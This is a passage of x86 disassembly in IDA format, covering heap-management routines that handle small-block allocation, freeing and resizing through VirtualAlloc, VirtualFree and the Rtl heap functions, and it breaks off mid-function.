		dec	byte ptr [ebx+eax+4]
		jnz	short loc_4034DA
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_4034DA
; ---------------------------------------------------------------------------

loc_4034C0:				; CODE XREF: sub_403380+127j
		lea	ecx, [ebx-20h]
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_4034DA
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi

loc_4034DA:				; CODE XREF: sub_403380+11Dj
					; sub_403380+137j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx

loc_4034F2:				; CODE XREF: sub_403380+112j
		mov	esi, [ebp+arg_4]
		jmp	short loc_4034FA
; ---------------------------------------------------------------------------

loc_4034F7:				; CODE XREF: sub_403380+E2j
		mov	ebx, [ebp+arg_0]

loc_4034FA:				; CODE XREF: sub_403380+175j
		cmp	[ebp+var_C], 0
		jnz	short loc_403508
		cmp	ebx, edx
		jz	loc_403588

loc_403508:				; CODE XREF: sub_403380+17Ej
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edx*8]
		mov	ebx, [ecx+4]
		mov	[esi+8], ecx
		mov	[esi+4], ebx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_403588
		mov	cl, [edx+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	edx, 20h
		mov	[edx+eax+4], cl
		jnb	short loc_40355F
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_40354E
		mov	ecx, edx
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_40354E:				; CODE XREF: sub_403380+1BEj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_403588
; ---------------------------------------------------------------------------

loc_40355F:				; CODE XREF: sub_403380+1B8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_403575
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_403575:				; CODE XREF: sub_403380+1E3j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx

loc_403588:				; CODE XREF: sub_403380+182j
					; sub_403380+1A6j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_403693
		mov	eax, dword_4074A8
		test	eax, eax
		jz	loc_403685
		mov	ecx, dword_4074C0
		mov	esi, ds:dword_4050A8
		push	4000h
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, dword_4074C0
		mov	eax, dword_4074A8
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4074A8
		mov	eax, [eax+10h]
		mov	ecx, dword_4074C0
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4074A8
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4074A8
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_403616
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4074A8

loc_403616:				; CODE XREF: sub_403380+28Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_403685
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, dword_4074A8
		push	dword ptr [eax+10h]
		push	0
		push	dword_407700
		call	ds:dword_4050AC	; RtlFreeHeap
		mov	eax, dword_4074AC
		mov	edx, dword_4074B0
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4074A8
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_404560
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4074AC
		cmp	eax, dword_4074A8
		jbe	short loc_40367B
		sub	[ebp+arg_0], 14h

loc_40367B:				; CODE XREF: sub_403380+2F5j
		mov	eax, dword_4074B0
		mov	dword_4074B8, eax

loc_403685:				; CODE XREF: sub_403380+223j
					; sub_403380+29Aj
		mov	eax, [ebp+arg_0]
		mov	dword_4074A8, eax
		mov	dword_4074C0, edi

loc_403693:				; CODE XREF: sub_403380+216j
		pop	ebx

loc_403694:				; CODE XREF: sub_403380+37j
		pop	edi
		pop	esi
		leave
		retn
sub_403380	endp


; =============== S U B	R O U T	I N E =======================================



sub_403698	proc near		; CODE XREF: sub_403B34+150p
		mov	eax, dword_4074AC
		mov	ecx, dword_4074BC
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_4036DE
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4074B0
		push	edi
		push	dword_407700
		call	ds:dword_4050D0	; RtlReAllocateHeap
		cmp	eax, edi
		jnz	short loc_4036CD
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_4036CD:				; CODE XREF: sub_403698+2Fj
		add	dword_4074BC, 10h
		mov	dword_4074B0, eax
		mov	eax, dword_4074AC

loc_4036DE:				; CODE XREF: sub_403698+10j
		mov	ecx, dword_4074B0
		push	esi
		push	41C4h
		push	8
		push	dword_407700
		lea	eax, [eax+eax*4]
		lea	esi, [ecx+eax*4]
		call	ds:dword_4050C8	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jnz	short loc_403709

loc_403705:				; CODE XREF: sub_403698+9Bj
		xor	eax, eax
		jmp	short loc_40374C
; ---------------------------------------------------------------------------

loc_403709:				; CODE XREF: sub_403698+6Bj
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:dword_4050CC	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_403735
		push	dword ptr [esi+10h]
		push	edi
		push	dword_407700
		call	ds:dword_4050AC	; RtlFreeHeap
		jmp	short loc_403705
; ---------------------------------------------------------------------------

loc_403735:				; CODE XREF: sub_403698+89j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4074AC
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_40374C:				; CODE XREF: sub_403698+6Fj
		pop	esi
		pop	edi
		retn
sub_403698	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40374F	proc near		; CODE XREF: sub_403B34+15Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+8]
		push	ebx
		push	esi
		mov	esi, [ecx+10h]
		push	edi
		xor	ebx, ebx
		jmp	short loc_403767
; ---------------------------------------------------------------------------

loc_403764:				; CODE XREF: sub_40374F+1Aj
		shl	eax, 1
		inc	ebx

loc_403767:				; CODE XREF: sub_40374F+13j
		test	eax, eax
		jge	short loc_403764
		mov	eax, ebx
		imul	eax, 204h
		lea	eax, [eax+esi+144h]
		push	3Fh
		mov	[ebp+var_8], eax
		pop	edx

loc_403780:				; CODE XREF: sub_40374F+3Bj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_403780
		push	4
		mov	edi, ebx
		push	1000h
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	8000h
		push	edi
		call	ds:dword_4050CC	; VirtualAlloc
		test	eax, eax
		jnz	short loc_4037B3
		or	eax, 0FFFFFFFFh
		jmp	loc_403850
; ---------------------------------------------------------------------------

loc_4037B3:				; CODE XREF: sub_40374F+5Aj
		lea	edx, [edi+7000h]
		cmp	edi, edx
		mov	[ebp+var_4], edx
		ja	short loc_403803
		mov	ecx, edx
		sub	ecx, edi
		shr	ecx, 0Ch
		lea	eax, [edi+10h]
		inc	ecx

loc_4037CB:				; CODE XREF: sub_40374F+AFj
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	edx, [eax+0FFCh]
		mov	[eax], edx
		lea	edx, [eax-1004h]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax+4], edx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		dec	ecx
		jnz	short loc_4037CB
		mov	edx, [ebp+var_4]

loc_403803:				; CODE XREF: sub_40374F+6Fj
		mov	eax, [ebp+var_8]
		add	eax, 1F8h
		lea	ecx, [edi+0Ch]
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		xor	edi, edi
		inc	edi
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_403840
		or	[eax+4], edi

loc_403840:				; CODE XREF: sub_40374F+ECj
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_403850:				; CODE XREF: sub_40374F+5Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40374F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403855	proc near		; CODE XREF: sub_403E30+63p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		sub	edx, [ecx+0Ch]
		add	esi, 17h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		and	esi, 0FFFFFFF0h
		dec	ecx
		cmp	esi, ecx
		lea	edi, [ecx+edi-4]
		mov	ebx, [edi]
		mov	[ebp+arg_8], ecx
		mov	[ebp+var_4], ebx
		jle	loc_4039F7
		test	bl, 1
		jnz	loc_4039F0
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_4039F0
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_4038CA
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_4038CA:				; CODE XREF: sub_403855+6Dj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_403915
		cmp	ecx, 20h
		mov	ebx, 80000000h
		jnb	short loc_4038F6
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_403915
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_403915
; ---------------------------------------------------------------------------

loc_4038F6:				; CODE XREF: sub_403855+85j
		add	ecx, 0FFFFFFE0h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_403915
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_403915:				; CODE XREF: sub_403855+7Bj
					; sub_403855+98j ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_4039DE
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		lea	ecx, [ecx+esi-4]
		jbe	short loc_40394F
		push	3Fh
		pop	edi

loc_40394F:				; CODE XREF: sub_403855+F5j
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_4039CC
		mov	cl, [edi+eax+4]
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		cmp	edi, 20h
		mov	[edi+eax+4], cl
		jnb	short loc_4039A3
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_40399B
		mov	ecx, edi
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_40399B:				; CODE XREF: sub_403855+136j
		lea	eax, [eax+edx*4+44h]
		mov	ecx, edi
		jmp	short loc_4039C3
; ---------------------------------------------------------------------------

loc_4039A3:				; CODE XREF: sub_403855+130j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_4039B9
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_4039B9:				; CODE XREF: sub_403855+152j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]

loc_4039C3:				; CODE XREF: sub_403855+14Cj
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx

loc_4039CC:				; CODE XREF: sub_403855+11Ej
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_4039E1
; ---------------------------------------------------------------------------

loc_4039DE:				; CODE XREF: sub_403855+DEj
		mov	edx, [ebp+arg_4]

loc_4039E1:				; CODE XREF: sub_403855+187j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_403B2C
; ---------------------------------------------------------------------------

loc_4039F0:				; CODE XREF: sub_403855+50j
					; sub_403855+5Aj
		xor	eax, eax
		jmp	loc_403B2F
; ---------------------------------------------------------------------------

loc_4039F7:				; CODE XREF: sub_403855+47j
		jge	loc_403B2C
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+arg_4], ebx
		mov	[ebx-4], ecx
		jbe	short loc_403A22
		push	3Fh
		pop	esi

loc_403A22:				; CODE XREF: sub_403855+1C8j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_403AAC
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_403A3B
		push	3Fh
		pop	esi

loc_403A3B:				; CODE XREF: sub_403855+1E1j
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_403A85
		cmp	esi, 20h
		mov	ebx, 80000000h
		jnb	short loc_403A66
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_403A82
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_403A82
; ---------------------------------------------------------------------------

loc_403A66:				; CODE XREF: sub_403855+1F6j
		lea	ecx, [esi-20h]
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_403A82
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_403A82:				; CODE XREF: sub_403855+208j
					; sub_403855+20Fj ...
		mov	ebx, [ebp+arg_4]

loc_403A85:				; CODE XREF: sub_403855+1ECj
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	esi, [edi+8]
		mov	ecx, [edi+4]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_403AAC
		push	3Fh
		pop	esi

loc_403AAC:				; CODE XREF: sub_403855+1D1j
					; sub_403855+252j
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[ebx+8], ecx
		mov	[ebx+4], edi
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_403B23
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jnb	short loc_403AFA
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_403AF2
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_403AF2:				; CODE XREF: sub_403855+28Dj
		lea	eax, [eax+edx*4+44h]
		mov	ecx, esi
		jmp	short loc_403B1A
; ---------------------------------------------------------------------------

loc_403AFA:				; CODE XREF: sub_403855+287j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_403B10
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_403B10:				; CODE XREF: sub_403855+2A9j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]

loc_403B1A:				; CODE XREF: sub_403855+2A3j
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx

loc_403B23:				; CODE XREF: sub_403855+275j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_403B2C:				; CODE XREF: sub_403855+196j
					; sub_403855:loc_4039F7j
		xor	eax, eax
		inc	eax

loc_403B2F:				; CODE XREF: sub_403855+19Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403855	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B34	proc near		; CODE XREF: sub_402F43+17p
					; sub_403E30+74p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	ecx, [ebp+arg_0]
		mov	eax, dword_4074AC
		mov	edx, dword_4074B0
		add	ecx, 17h
		and	ecx, 0FFFFFFF0h
		push	ebx
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		dec	ecx
		cmp	ecx, 20h
		lea	edi, [edx+eax*4]
		mov	[ebp+var_4], edi
		jge	short loc_403B71
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_403B7E
; ---------------------------------------------------------------------------

loc_403B71:				; CODE XREF: sub_403B34+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_8], eax

loc_403B7E:				; CODE XREF: sub_403B34+3Bj
		mov	eax, dword_4074B8
		mov	ebx, eax
		mov	[ebp+var_C], esi
		cmp	ebx, edi
		jmp	short loc_403BA0
; ---------------------------------------------------------------------------

loc_403B8C:				; CODE XREF: sub_403B34+6Fj
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_403BA5
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]

loc_403BA0:				; CODE XREF: sub_403B34+56j
		mov	[ebp+arg_0], ebx
		jb	short loc_403B8C

loc_403BA5:				; CODE XREF: sub_403B34+64j
		cmp	ebx, [ebp+var_4]
		jnz	short loc_403BCE
		mov	ebx, edx
		jmp	short loc_403BBF
; ---------------------------------------------------------------------------

loc_403BAE:				; CODE XREF: sub_403B34+90j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_403BC6
		add	ebx, 14h

loc_403BBF:				; CODE XREF: sub_403B34+78j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_403BAE

loc_403BC6:				; CODE XREF: sub_403B34+86j
		cmp	ebx, eax
		jz	loc_403C62

loc_403BCE:				; CODE XREF: sub_403B34+74j
					; sub_403B34+170j
		mov	dword_4074B8, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_403BF5
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_403C2B

loc_403BF5:				; CODE XREF: sub_403B34+ABj
		mov	edx, [eax+0C4h]
		and	edx, [ebp+var_8]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		mov	esi, [ecx]
		and	esi, [ebp+var_C]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_403C28

loc_403C11:				; CODE XREF: sub_403B34+F2j
		mov	edx, [ecx+84h]
		and	edx, [ebp+var_8]
		inc	[ebp+var_4]
		add	ecx, 4
		mov	edi, [ecx]
		and	edi, esi
		or	edx, edi
		jz	short loc_403C11

loc_403C28:				; CODE XREF: sub_403B34+DBj
		mov	edx, [ebp+var_4]

loc_403C2B:				; CODE XREF: sub_403B34+BFj
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		xor	edi, edi
		and	ecx, esi
		jnz	short loc_403CB4
		mov	ecx, [eax+edx*4+0C4h]
		and	ecx, [ebp+var_8]
		push	20h
		pop	edi
		jmp	short loc_403CB4
; ---------------------------------------------------------------------------

loc_403C56:				; CODE XREF: sub_403B34+131j
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_403C67
		add	ebx, 14h
		mov	[ebp+arg_0], ebx

loc_403C62:				; CODE XREF: sub_403B34+94j
		cmp	ebx, [ebp+var_4]
		jb	short loc_403C56

loc_403C67:				; CODE XREF: sub_403B34+126j
		cmp	ebx, [ebp+var_4]
		jnz	short loc_403C92
		mov	ebx, edx
		jmp	short loc_403C79
; ---------------------------------------------------------------------------

loc_403C70:				; CODE XREF: sub_403B34+14Aj
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_403C80
		add	ebx, 14h

loc_403C79:				; CODE XREF: sub_403B34+13Aj
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_403C70

loc_403C80:				; CODE XREF: sub_403B34+140j
		cmp	ebx, eax
		jnz	short loc_403C92
		call	sub_403698
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_403CAA

loc_403C92:				; CODE XREF: sub_403B34+136j
					; sub_403B34+14Ej
		push	ebx
		call	sub_40374F
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	loc_403BCE

loc_403CAA:				; CODE XREF: sub_403B34+15Cj
		xor	eax, eax
		jmp	loc_403E2B
; ---------------------------------------------------------------------------

loc_403CB1:				; CODE XREF: sub_403B34+182j
		shl	ecx, 1
		inc	edi

loc_403CB4:				; CODE XREF: sub_403B34+111j
					; sub_403B34+120j
		test	ecx, ecx
		jge	short loc_403CB1
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+var_8], ecx
		jle	short loc_403CD5
		push	3Fh
		pop	esi

loc_403CD5:				; CODE XREF: sub_403B34+19Cj
		cmp	esi, edi
		jz	loc_403DDE
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_403D41
		cmp	edi, 20h
		mov	ebx, 80000000h
		jge	short loc_403D15
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_403D3E
		mov	ecx, [ebp+var_14]
		mov	ebx, [ebp+arg_0]
		and	[ebx], ecx
		jmp	short loc_403D41
; ---------------------------------------------------------------------------

loc_403D15:				; CODE XREF: sub_403B34+1B9j
		lea	ecx, [edi-20h]
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	ecx, [eax+ecx*4+0C4h]
		lea	edi, [eax+edi+4]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_403D3E
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_403D41
; ---------------------------------------------------------------------------

loc_403D3E:				; CODE XREF: sub_403B34+1D5j
					; sub_403B34+1FDj
		mov	ebx, [ebp+arg_0]

loc_403D41:				; CODE XREF: sub_403B34+1AFj
					; sub_403B34+1DFj ...
		cmp	[ebp+var_8], 0
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_403DEA
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[edx+8], ecx
		mov	[edx+4], edi
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_403DDB
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_0+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jge	short loc_403DB2
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_403DA0
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_403DA0:				; CODE XREF: sub_403B34+25Fj
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_403DDB
; ---------------------------------------------------------------------------

loc_403DB2:				; CODE XREF: sub_403B34+259j
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_403DC5
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_403DC5:				; CODE XREF: sub_403B34+282j
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_403DDB:				; CODE XREF: sub_403B34+247j
					; sub_403B34+27Cj
		mov	ecx, [ebp+var_8]

loc_403DDE:				; CODE XREF: sub_403B34+1A3j
		test	ecx, ecx
		jz	short loc_403DED
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_403DED
; ---------------------------------------------------------------------------

loc_403DEA:				; CODE XREF: sub_403B34+223j
		mov	ecx, [ebp+var_8]

loc_403DED:				; CODE XREF: sub_403B34+2ACj
					; sub_403B34+2B4j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_403E23
		cmp	ebx, dword_4074A8
		jnz	short loc_403E23
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4074C0
		jnz	short loc_403E23
		and	dword_4074A8, 0

loc_403E23:				; CODE XREF: sub_403B34+2D3j
					; sub_403B34+2DBj ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_403E2B:				; CODE XREF: sub_403B34+178j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403B34	endp


; =============== S U B	R O U T	I N E =======================================



sub_403E30	proc near		; CODE XREF: sub_402A23+34p
					; sub_402A23+49p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
